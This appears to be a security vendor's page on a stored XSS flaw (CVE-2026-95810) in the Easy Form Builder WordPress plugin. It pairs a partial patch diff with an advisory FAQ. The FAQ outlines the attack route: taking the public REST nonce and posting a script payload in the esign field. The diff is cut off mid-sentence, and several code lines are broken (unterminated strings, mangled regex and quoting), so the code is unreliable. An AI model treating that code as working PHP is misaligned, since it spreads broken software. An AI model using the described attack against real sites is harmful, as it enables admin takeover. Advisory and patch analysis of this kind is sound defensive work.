+ wp_send_json_success(array(
+ 'confirmed' => true,
+ 'delivery' => class_exists('EmsfbEmail_Monitor') ? EmsfbEmail_Monitor::get_delivery_state() : array(),
+ ));
+ }
+
private function start_email_tester_efb($efbFunction, $ac) {
$admin_email = isset($_POST['email']) ? sanitize_email(wp_unslash($_POST['email'])) : '';
if (!is_email($admin_email)) {
@@ -1998,10 +2196,18 @@
return [
'success' => false,
'm' => esc_html__('Please enter a valid email address.', 'easy-form-builder'),
- 'stage' => 'validation'
+ 'stage' => 'validation',
+ 'reason' => 'invalid_input'
];
}
+ // The owner is running the check themselves now; the probe activation
+ // queued for the same minute would only spend the site's free daily
+ // quota ahead of them.
+ if (class_exists('EmsfbEmail_Monitor')) {
+ EmsfbEmail_Monitor::cancel_pending_lifecycle_test();
+ }
+
$sender_email = isset($_POST['sender_email']) ? sanitize_email(wp_unslash($_POST['sender_email'])) : '';
if (!is_email($sender_email)) {
$sender_email = $this->get_default_sender_email_efb($ac);
@@ -2029,7 +2235,8 @@
return [
'success' => false,
'm' => esc_html__('The sender email address is not valid.', 'easy-form-builder'),
- 'stage' => 'validation'
+ 'stage' => 'validation',
+ 'reason' => 'invalid_input'
];
}
@@ -2088,6 +2295,7 @@
'success' => false,
'm' => esc_html__('The email tester service returned an invalid response.', 'easy-form-builder'),
'stage' => 'start',
+ 'reason' => 'invalid_response',
'test' => $test
];
}
@@ -2126,28 +2334,20 @@
];
}
};
- $from_filter = function() use ($sender_email) {
- return $sender_email;
- };
- $from_name_filter = function() {
- return '';
- };
- $phpmailer_listener = function($phpmailer) use (&$actual_mail, $sender_email, $test_hash) {
+ // The check goes out exactly like a form email: the From header above,
+ // and whatever an SMTP plugin forces on top of it. It used to force its
+ // own From and envelope sender at the highest priority, which beat the
+ // SMTP plugin's "force From" - so on Microsoft 365 (which refuses to
+ // send as another address) the check failed while form emails arrived.
+ $phpmailer_listener = function($phpmailer) use (&$actual_mail, $test_hash) {
if (is_object($phpmailer)) {
- $phpmailer->From = $sender_email;
- $phpmailer->FromName = '';
- $phpmailer->Sender = $sender_email;
$actual_mail = $this->email_tester_collect_phpmailer_state_efb($phpmailer, $test_hash);
}
};
add_action('wp_mail_failed', $mail_error_listener);
- add_filter('wp_mail_from', $from_filter, PHP_INT_MAX);
- add_filter('wp_mail_from_name', $from_name_filter, PHP_INT_MAX);
add_action('phpmailer_init', $phpmailer_listener, PHP_INT_MAX);
$sent = wp_mail($recipient_email, $email_subject, $message, $headers);
remove_action('phpmailer_init', $phpmailer_listener, PHP_INT_MAX);
- remove_filter('wp_mail_from_name', $from_name_filter, PHP_INT_MAX);
- remove_filter('wp_mail_from', $from_filter, PHP_INT_MAX);
remove_action('wp_mail_failed', $mail_error_listener);
$this->email_tester_log_efb('wp_mail_after_send', [
@@ -2201,12 +2401,17 @@
];
$this->email_tester_log_efb('wp_mail_failed_save_status', $failure_status);
update_option('emsfb_email_status', $failure_status);
+ // A check measures delivery; it never switches sending off. The
+ // result says what to fix, and the switch stays where the owner left it.
+ $sending_turned_off = false;
return [
'success' => false,
'm' => esc_html__('WordPress could not send the test email. The message never left your website, so nothing was delivered.', 'easy-form-builder'),
'stage' => 'send',
'send_stage' => 'wp_mail_failed',
+ 'reason' => 'wp_mail_failed',
+ 'sending_turned_off' => $sending_turned_off,
'mail_error' => is_array($last_mail_error) && !empty($last_mail_error['message'])
? sanitize_text_field((string) $last_mail_error['message'])
: '',
@@ -2252,20 +2457,28 @@
];
}
- private function request_email_tester_start_efb($sender_email, $admin_email, $efbFunction) {
- $body = [
- 'site_url' => home_url(),
- 'sender_email' => $sender_email,
- 'admin_email' => $admin_email,
- 'plugin' => 'easy-form-builder',
- 'plugin_version' => defined('EMSFB_PLUGIN_VERSION') ? EMSFB_PLUGIN_VERSION : '',
- 'wp_version' => get_bloginfo('version'),
- 'php_version' => phpversion(),
- 'language' => get_locale(),
- 'license_type' => $efbFunction->is_efb_pro(1) ? 'pro' : 'free',
- 'license_key' => '',
- ];
+ /**
+ * Active page caching plugin names, for the tester service to decide
+ * whether the administrator report needs the cache exclusion notice.
+ *
+ * Only this test (the first-run guide and the manual test in settings)
+ * sends it; the weekly report never warns about caching. Returns '' when
+ * the site runs no known page caching plugin, capped to the width of the
+ * column the service stores the value in.
+ *
+ * @return string
+ */
+ private function active_cache_plugins_names_efb() {
+ return Emsfb::cache_plugins_names();
+ }
+ /**
+ * Post a /start request and decode the response.
+ *
+ * @param array $body Request body.
+ * @return array{request:array|WP_Error,code:int,raw:string,data:array|null}
+ */
+ private function email_tester_post_start_efb($body) {
$this->email_tester_log_efb('start_request_before_remote', [
'run_id' => $this->email_tester_current_run_id_efb(),
'endpoint' => $this->email_tester_endpoint_efb('/start'),
@@ -2287,11 +2500,8 @@
'message' => $request->get_error_message(),
'code' => $request->get_error_code(),
]);
- return [
- 'success' => false,
- 'm' => $request->get_error_message(),
- 'stage' => 'start'
- ];
+
+ return ['request' => $request, 'code' => 0, 'raw' => '', 'data' => null];
}
$code = (int) wp_remote_retrieve_response_code($request);
@@ -2303,20 +2513,136 @@
'body' => $data,
'raw_body' => is_array($data) ? null : $raw_body,
]);
- if (!is_array($data)) {
+
+ return [
+ 'request' => $request,
+ 'code' => $code,
+ 'raw' => $raw_body,
+ 'data' => is_array($data) ? $data : null,
+ ];
+ }
+
+ /**
+ * Whether the service refused the request because of an argument it does
+ * not know yet, which is what an older service does with caching_plugins.
+ *
+ * @param int $code HTTP status.
+ * @param array|null $data Decoded response.
+ * @return bool
+ */
+ private function email_tester_start_rejected_unknown_field_efb($code, $data) {
+ if ((400 !== $code && 413 !== $code) || !is_array($data)) {
+ return false;
+ }
+
+ $error_code = isset($data['code']) ? (string) $data['code'] : '';
+
+ return in_array($error_code, [
+ 'api_guard_unknown_body_arg',
+ 'api_guard_too_many_body_args',
+ 'api_guard_body_arg_too_large',
+ ], true);
+ }
+
+ private function request_email_tester_start_efb($sender_email, $admin_email, $efbFunction) {
+ $body = [
+ 'site_url' => home_url(),
+ 'sender_email' => $sender_email,
+ 'admin_email' => $admin_email,
+ 'plugin' => 'easy-form-builder',
+ 'plugin_version' => defined('EMSFB_PLUGIN_VERSION') ? EMSFB_PLUGIN_VERSION : '',
+ 'wp_version' => get_bloginfo('version'),
+ // PHP_VERSION, not phpversion(): the latter is on the list a host
+ // can disable through disable_functions, and calling it there is a
+ // fatal that would kill the whole test before it starts.
+ 'php_version' => PHP_VERSION,
+ 'language' => get_locale(),
+ 'license_type' => $efbFunction->is_efb_pro(1) ? 'pro' : 'free',
+ 'license_key' => '',
+ ];
+
+ // Only sent on a site that actually runs a caching plugin: an empty
+ // value would carry no information and would still be an argument an
+ // older service does not accept.
+ $caching_plugins = $this->active_cache_plugins_names_efb();
+ if ('' !== $caching_plugins) {
+ $body['caching_plugins'] = $caching_plugins;
+ }
+
+ $response = $this->email_tester_post_start_efb($body);
+
+ if (is_wp_error($response['request'])) {
+ return [
+ 'success' => false,
+ 'm' => $response['request']->get_error_message(),
+ 'stage' => 'start',
+ 'reason' => 'tester_unreachable'
+ ];
+ }
+
+ $code = $response['code'];
+ $data = $response['data'];
+
+ if (null === $data) {
return [
'success' => false,
'm' => esc_html__('The email tester service returned an invalid JSON response.', 'easy-form-builder'),
'stage' => 'start',
+ 'reason' => 'invalid_response',
'code' => $code
];
}
if ($code < 200 || $code >= 300 || empty($data['success'])) {
+ // A service that predates the caching notice rejects caching_plugins
+ // as an unknown argument. Losing the notice is acceptable, losing
+ // the test is not, so the request is repeated without the field.
+ if (isset($body['caching_plugins']) && $this->email_tester_start_rejected_unknown_field_efb($code, $data)) {
+ $retry_body = $body;
+ unset($retry_body['caching_plugins']);
+
+ $this->email_tester_log_efb('start_retry_without_cache_plugins', [
+ 'run_id' => $this->email_tester_current_run_id_efb(),
+ 'http_code' => $code,
+ ]);
+ $retry = $this->email_tester_post_start_efb($retry_body);
+
+ if (!is_wp_error($retry['request'])
+ && is_array($retry['data'])
+ && $retry['code'] >= 200 && $retry['code'] < 300
+ && !empty($retry['data']['success'])) {
+ return [
+ 'success' => true,
+ 'm' => isset($retry['data']['message']) ? sanitize_text_field($retry['data']['message']) : '',
+ 'stage' => 'start',
+ 'test' => $retry['data'],
+ ];
+ }
+
+ // The retry is the real attempt once caching_plugins is gone,
+ // so its outcome - a network error, a timeout, a rate limit -
+ // is what the administrator must see. Reporting the first
+ // "unknown field" refusal instead would hide the actual reason.
+ if (is_wp_error($retry['request'])) {
+ return [
+ 'success' => false,
+ 'm' => $retry['request']->get_error_message(),
+ 'stage' => 'start',
+ 'reason' => 'tester_unreachable',
+ ];
+ }
+ $code = $retry['code'];
+ $data = is_array($retry['data']) ? $retry['data'] : $data;
+ }
+
return [
'success' => false,
'm' => isset($data['message']) ? sanitize_text_field($data['message']) : esc_html__('The email tester service could not start the test.', 'easy-form-builder'),
+ // The card shows the service's own sentence to the owner only
+ // when the service wrote one; the plugin's fallback is jargon.
+ 'service_message' => isset($data['message']) && '' !== trim((string) $data['message']),
'stage' => 'start',
+ 'reason' => 'service_refused',
'code' => $code,
'test' => $data
];
@@ -2353,7 +2679,8 @@
return [
'success' => false,
'm' => esc_html__('The email test hash is not valid.', 'easy-form-builder'),
- 'stage' => 'result'
+ 'stage' => 'result',
+ 'reason' => 'invalid_input'
];
}
@@ -2401,7 +2728,8 @@
return [
'success' => false,
'm' => $request->get_error_message(),
- 'stage' => 'result'
+ 'stage' => 'result',
+ 'reason' => 'tester_unreachable'
];
}
@@ -2434,6 +2762,7 @@
'success' => false,
'm' => esc_html__('The email tester service returned an invalid JSON response.', 'easy-form-builder'),
'stage' => 'result',
+ 'reason' => 'invalid_response',
'code' => $code
];
}
@@ -2468,13 +2797,19 @@
'success' => false,
'm' => isset($data['message']) ? sanitize_text_field($data['message']) : esc_html__('The email tester service could not return the result.', 'easy-form-builder'),
'stage' => 'result',
+ 'reason' => 'service_http_error',
'code' => $code,
'result' => $data
];
}
// Save test result to emsfb_email_status for all scenarios
- $this->save_email_tester_result_to_status_efb($data, $efbFunction, $ac);
+ $this->save_email_tester_result_to_status_efb($data, $efbFunction, $ac, $test_hash);
+
+ // A check measures delivery; it never switches sending off. A failed or
+ // spam-scored check leaves the switch where the owner left it, and the
+ // result card says what to fix. (Kept in the reply for older clients.)
+ $data['sending_turned_off'] = false;
$email_report = $this->maybe_request_email_tester_no_delivery_report_efb($test_hash, $data, $admin_email);
if (is_array($email_report)) {
@@ -2482,7 +2817,14 @@
}
if ($this->is_email_delivery_confirmed_efb($data)) {
- $this->mark_email_server_as_ready_efb($efbFunction, $ac, isset($data['admin_email']) ? sanitize_email($data['admin_email']) : '', false);
+ // Once per test: the full-report polls that follow the quick-stage
+ // verdict must not turn the switch back on after the owner turned
+ // it off in the meantime.
+ $marked_key = 'emsfb_email_ready_marked_' . md5((string) $test_hash);
+ if (!get_transient($marked_key)) {
+ $this->mark_email_server_as_ready_efb($efbFunction, $ac, isset($data['admin_email']) ? sanitize_email($data['admin_email']) : '', false);
+ set_transient($marked_key, 1, HOUR_IN_SECONDS);
+ }
}
return [
@@ -2493,7 +2835,7 @@
];
}
- private function save_email_tester_result_to_status_efb($test_result, $efbFunction, $ac) {
+ private function save_email_tester_result_to_status_efb($test_result, $efbFunction, $ac, $test_hash = '') {
if (!is_array($test_result)) {
return;
}
@@ -2571,13 +2913,18 @@
];
}
- // If there's a delivery failure reason
+ // If there's a delivery failure reason. A 'delayed' report carries one
+ // too ("not delivered yet") while the test is still open, so only a
+ // closed test may be described as a failed delivery.
if (!empty($test_result['delivery']['failure_reason'])) {
$failure_reason = sanitize_text_field($test_result['delivery']['failure_reason']);
- $status_data['message']['description'] = sprintf(
- esc_html__('Email delivery failed: %s', 'easy-form-builder'),
- $failure_reason
- );
+ $still_open = isset($test_result['status']) && in_array($test_result['status'], ['pending', 'delayed'], true);
+ if (!$still_open && !$delivery_confirmed) {
+ $status_data['message']['description'] = sprintf(
+ esc_html__('Email delivery failed: %s', 'easy-form-builder'),
+ $failure_reason
+ );
+ }
$status_data['details']['failure_reason'] = $failure_reason;
}
@@ -2606,9 +2953,26 @@
]
]);
+ // A still-open test keeps the time it started: every poll used to
+ // restamp it, so "a check started on ..." showed the last poll, and
+ // each poll restarted the window in which the owner is told about it.
+ if (isset($status_data['message']['id']) && 'email_test_pending' === $status_data['message']['id']) {
+ $existing = get_option('emsfb_email_status', []);
+ if (is_array($existing) && isset($existing['message']['id']) && 'email_test_pending' === $existing['message']['id']
+ && !empty($existing['details']['test_timestamp'])) {
+ $status_data['details']['test_timestamp'] = (string) $existing['details']['test_timestamp'];
+ if (!empty($existing['details']['test_hash'])) {
+ $status_data['details']['test_hash'] = (string) $existing['details']['test_hash'];
+ }
+ }
+ }
+
update_option('emsfb_email_status', $status_data);
- if ($delivery_confirmed && is_object($ac) && isset($ac->smtp) && $ac->smtp != true) {
+ // Once per test (see get_email_tester_result_efb): a later full-report
+ // poll does not turn back on a switch the owner turned off since.
+ $already_marked = '' !== (string) $test_hash && get_transient('emsfb_email_ready_marked_' . md5((string) $test_hash));
+ if ($delivery_confirmed && !$already_marked && is_object($ac) && isset($ac->smtp) && $ac->smtp != true) {
$ac->smtp = true;
$efbFunction->set_setting_Emsfb($ac);
}
@@ -2749,7 +3113,11 @@
$can_send_email = !empty($test_result['can_send_email']);
$email_received = isset($test_result['delivery']['email_received']) ? (bool) $test_result['delivery']['email_received'] : false;
- if ($success || $can_send_email || $email_received || !in_array($status, ['delayed', 'expired'], true)) {
+ // Only a test that has expired without the message is a non-delivery.
+ // "delayed" (not there after 45 seconds) is ordinary for hosts that
+ // queue outgoing mail, and emailing the owner "it never arrived" then
+ // was the false alarm people reported.
+ if ($success || $can_send_email || $email_received || 'expired' !== $status) {
return null;
}
@@ -2830,7 +3198,33 @@
$efbFunction->set_setting_Emsfb($ac, $setting_email);
}
- private function build_email_ready_status_efb() {
+ /**
+ * The status record for a switch the owner turned on without a check.
+ *
+ * The owner's own answer - from the form builder's prompt or the switch in
+ * Email Settings - is written with its own id and the time it was given,
+ * so Email_Monitor::get_delivery_state() can tell "confirmed by the
+ * owner" from "verified by a check" (which writes email_settings_configured
+ * together with what it measured). The undated legacy shape is kept for
+ * the one caller that only needs "something says it works".
+ *
+ * @param bool $by_owner Record the owner's confirmation with a date.
+ */
+ private function build_email_ready_status_efb($by_owner = false) {
+ if ($by_owner) {
+ return [
+ 'status' => 'ok_set_smtp',
+ 'message' => [
+ 'title' => esc_html__('Email sending confirmed by the site owner', 'easy-form-builder'),
+ 'description' => esc_html__('The site owner confirmed that this host can send email. No delivery check was run.', 'easy-form-builder'),
+ 'id' => 'email_sending_confirmed_by_owner'
+ ],
+ 'details' => [
+ 'source' => 'owner',
+ 'test_timestamp' => current_time('mysql', true),
+ ]
+ ];
+ }
return [
'status' => 'ok_set_smtp',
'message' => [
@@ -2938,8 +3332,7 @@
}
private function email_tester_endpoint_efb($path, $use_www = false) {
- $host = $use_www ? 'www.whitestudio.team' : 'whitestudio.team';
- return 'https://' . $host . '/wp-json/ws-email-tester/v1' . $path;
+ return EmsfbEmail_Monitor::service_base_url($use_www) . '/wp-json/ws-email-tester/v1' . $path;
}
private function email_tester_current_run_id_efb() {
@@ -3204,14 +3597,18 @@
$efbFunction = get_efbFunction();
$currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
+ $sms_lang = $efbFunction->text_efb(['error403','msg_adons','sms_noti']);
if(!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
- $response = ['success' => false, 'm' =>'Security Error'];
+ $response = ['success' => false, 'm' => isset($sms_lang['error403']) ? $sms_lang['error403'] : esc_html__('Security Error', 'easy-form-builder')];
wp_send_json_success($response, 200);
}
$path = EMSFB_PLUGIN_DIRECTORY."/vendor/smssended/smsefb.php";
if(!file_exists($path)){
- $response = ['success' => false, 'm' =>'SMS Add-on Not Installed'];
+ $not_installed = (isset($sms_lang['msg_adons'], $sms_lang['sms_noti']))
+ ? str_replace('NN', '<b>' . esc_html($sms_lang['sms_noti']) . '</b>', $sms_lang['msg_adons'])
+ : esc_html__('SMS Add-on Not Installed', 'easy-form-builder');
+ $response = ['success' => false, 'm' => $not_installed];
wp_send_json_success($response, 200);
}
@@ -3294,7 +3691,7 @@
}
$state = sanitize_text_field(wp_unslash( $_POST['state'] ) ) ;
$val = sanitize_text_field(wp_unslash( $_POST['val'] ) ) ;
- $val_ = str_replace('\', '', $val);
+ $val_ = emsfb_json_normalize_efb($val);
$val = json_decode($val_ ,true);
if(empty($this->db)){
global $wpdb;
@@ -3342,8 +3739,7 @@
}
$state = sanitize_text_field(wp_unslash( $_POST['state'] ) ) ;
$val = sanitize_text_field(wp_unslash( $_POST['val'] ) ) ;
- $val_ = str_replace('\\', '', $val);
- $val_ = str_replace('\', '', $val);
+ $val_ = emsfb_json_normalize_efb($val);
$val = json_decode($val_ ,true);
if(empty($this->db)){
global $wpdb;
@@ -3381,8 +3777,35 @@
// Do not block an admin response on a server-side Google Fonts probe.
// The browser fetches this stylesheet independently and gracefully
// falls back to the local font stack if it is unavailable.
- wp_register_style('Font_Roboto', $font_url);
+ //
+ // The <link> it prints must not block rendering either: where
+ // fonts.googleapis.com hangs instead of failing (common on Iranian
+ // connections) every Easy Form Builder screen stayed white. RTL
+ // screens use their own fonts and skip it; elsewhere it loads with
+ // media="print" and switches itself on once it has arrived.
+ if (function_exists('is_rtl') && is_rtl()) {
+ return;
+ }
+ wp_register_style('Font_Roboto', $font_url, [], null);
wp_enqueue_style('Font_Roboto');
+ if (!has_filter('style_loader_tag', [$this, 'non_blocking_roboto_tag_efb'])) {
+ add_filter('style_loader_tag', [$this, 'non_blocking_roboto_tag_efb'], 10, 2);
+ }
+ }
+
+ /**
+ * Print the Roboto stylesheet so it never holds up the page.
+ *
+ * @param string $tag The <link> tag.
+ * @param string $handle Style handle.
+ * @return string
+ */
+ public function non_blocking_roboto_tag_efb($tag, $handle) {
+ if ('Font_Roboto' !== $handle || false !== strpos($tag, 'onload=')) {
+ return $tag;
+ }
+ $tag = preg_replace('/smedia=(['"])[^'"]*1/', '', $tag);
+ return str_replace('<link ', "<link media='print' onload="this.media='all'" ", $tag);
}
public function heartbeat_Emsfb(){
$efbFunction = get_efbFunction();
@@ -3463,6 +3886,11 @@
return;
}else{
if (isset($settings->smtp) && in_array($settings->smtp, ['1', 'true', true,1], true)) {
+ /* A site from before the status record existed: the
+ * switch is on, nobody clicked anything today, so the
+ * record stays undated (get_delivery_state() reports
+ * "confirmed" without a date). The dated owner record
+ * is only ever written by the owner's own answer. */
update_option('emsfb_email_status', $this->build_email_ready_status_efb());
return;
}else{
@@ -3672,8 +4100,8 @@
return;
}
- $plan_data_raw = sanitize_textarea_field($_POST['plan_data']);
- $plan_data = json_decode(stripslashes($plan_data_raw), true);
+ $plan_data_raw = sanitize_textarea_field(wp_unslash($_POST['plan_data']));
+ $plan_data = emsfb_json_decode_efb($plan_data_raw, true);
if (!is_array($plan_data)) {
wp_send_json_error(array(
@@ -3806,7 +4234,10 @@
* require a reinstall or re-entry of credentials.
*/
$disabled_addons = array();
- if ($is_downgrade) {
+ // emsfb_pro 0 is a Pro licence that lapsed: choosing Free or Free Plus
+ // from there must switch its Pro add-ons off too (no confirmation is
+ // asked for, since nothing paid is given up any more).
+ if ($is_downgrade || ($current_package_type === 0 && in_array($target_package_type, [2, 3], true))) {
// Which add-ons the new plan keeps is the same question the install
// gate answers, so both read one table (addon_required_package_efb).
$addon_keys = array_diff(
@@ -3891,7 +4322,9 @@
if ($form_id === null) {
$this->form_cache = array();
- wp_cache_flush_group('emsfb');
+ if (function_exists('wp_cache_flush_group')) {
+ wp_cache_flush_group('emsfb');
+ }
return true;
}
--- a/easy-form-builder/includes/admin/class-Emsfb-create.php
+++ b/easy-form-builder/includes/admin/class-Emsfb-create.php
@@ -237,7 +237,9 @@
wp_enqueue_script('jquery-ui-efb');
wp_register_script('jquery-dd-efb', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/jquery-dd-efb.js', array('jquery'),EMSFB_PLUGIN_VERSION,true);
wp_enqueue_script('jquery-dd-efb');
- wp_register_script('countries-js', $url, null, null, true);
+ // async: a CDN that hangs (jsDelivr is often unreachable from Iran) must
+ // not hold back the builder scripts printed after it.
+ wp_register_script('countries-js', $url, null, null, array('in_footer' => true, 'strategy' => 'async'));
wp_enqueue_script('countries-js');
wp_register_script('intlTelInput-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/intlTelInput.min-efb.js', null, null, true);
wp_enqueue_script('intlTelInput-js');
@@ -310,6 +312,11 @@
'zone_area'=>CDN_ZONE_AREA,
'plugins'=>$plugins,
'emailHealth'=>$email_health,
+ // What the owner did about delivery (unchecked / confirmed / tested)
+ // and the data the builder's email question and check need: the
+ // score thresholds and the guide links of the next-steps box.
+ 'emailDelivery' => class_exists('EmsfbEmail_Monitor') ? EmsfbEmail_Monitor::get_delivery_state() : array(),
+ 'emailMonitor' => class_exists('EmsfbEmail_Monitor') ? EmsfbEmail_Monitor::get_public_status() : array(),
'onboarding_pending' => emsfb_onboarding_pending_efb(),
// Hosting upload ceiling in MB - the builder warns when a field's
// max file size is configured above it (uploads would fail).
@@ -334,17 +341,25 @@
wp_enqueue_script('efb-conditional-logic-preview-js', EMSFB_PLUGIN_URL . 'vendor/logic/logic/assets/public/js/conditional-logic-efb.js', array('Emsfb-core-js'), EMSFB_PLUGIN_VERSION, true);
}
}
+ /*
+ * The delivery score the builder warns about, from the check the owner ran.
+ * It used to be found by a recursive search over the saved status that
+ * could return a Spa
Frequently Asked Questions
What is CVE-2026-95810?
Vulnerability overviewCVE-2026-95810 is a stored cross-site scripting (XSS) vulnerability in the Easy Form Builder by WhiteStudio plugin for WordPress, affecting versions up to and including 4.3.0. It allows unauthenticated attackers to inject arbitrary JavaScript into form submissions, which executes when an administrator views the messages page.
How does the vulnerability work?
Technical mechanismThe vulnerability exists in the fun_emsFormBuilder_show_messages function, which handles the REST endpoint /wp-json/Emsfb/v1/forms/message/add. The esign field value is stored without proper validation or escaping, allowing an attacker to submit a malicious payload that is later rendered unsafely in the admin dashboard.
Who is affected by this vulnerability?
Affected installationsAny WordPress site running the Easy Form Builder plugin version 4.3.0 or earlier is affected. Sites that have the plugin installed and active, especially those with public-facing forms, are at risk.
How can I check if my site is vulnerable?
Detection methodCheck the plugin version in the WordPress admin under Plugins. If the version is 4.3.0 or lower, the site is vulnerable. You can also look for the presence of the REST endpoint /wp-json/Emsfb/v1/forms/message/add, which is exposed by the plugin.
What is the risk level of this vulnerability?
Severity assessmentThe CVSS score is 7.2, rated High. This reflects the unauthenticated nature of the attack and the potential for full site compromise if an administrator views the injected page, leading to session hijacking or privilege escalation.
How can I fix or mitigate this vulnerability?
Remediation stepsUpdate the Easy Form Builder plugin to version 4.3.1 or later, which contains the patch. If immediate update is not possible, consider disabling the plugin or using a Web Application Firewall (WAF) rule to block malicious requests to the vulnerable endpoint.
What does the proof of concept demonstrate?
PoC explanationThe proof of concept shows how an attacker can extract a wp_rest nonce from a public form page and use it to send a POST request with a malicious esign field value. This payload is stored and later executed when an admin views the messages, demonstrating the unauthenticated stored XSS.
Why is authentication not required?
Unauthenticated exploitationThe REST endpoint is protected only by a wp_rest nonce, which is freely obtainable by any visitor loading a public form page via the efb_var.nonce JavaScript variable. This allows attackers to bypass authentication and submit payloads directly.
What is the root cause of the vulnerability?
Underlying flawThe root cause is insufficient input sanitization and output escaping. The esign field value is expected to be a base64 data URI but is stored without validation, and it is rendered in the admin dashboard without escaping, allowing JavaScript execution.
How does the patch address the issue?
Patch analysisVersion 4.3.1 adds validation to ensure the esign value starts with ‘data:image/png;base64,’ and contains valid PNG data. It also normalizes input via emsfb_json_normalize_efb and enforces stricter nonce and capability checks, preventing malicious payloads from being stored or executed.
What are the potential consequences of exploitation?
Impact of attackSuccessful exploitation can lead to administrator account takeover, installation of malicious plugins, theft of sensitive data, or full site compromise. The attacker can execute arbitrary JavaScript in the context of an administrator’s session.
Is there a WAF rule available for this vulnerability?
Virtual patchingYes, a ModSecurity rule is provided that blocks requests to the vulnerable endpoint containing suspicious patterns like script tags or JavaScript URIs in the fields parameter. This can serve as a temporary mitigation until the plugin is updated.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






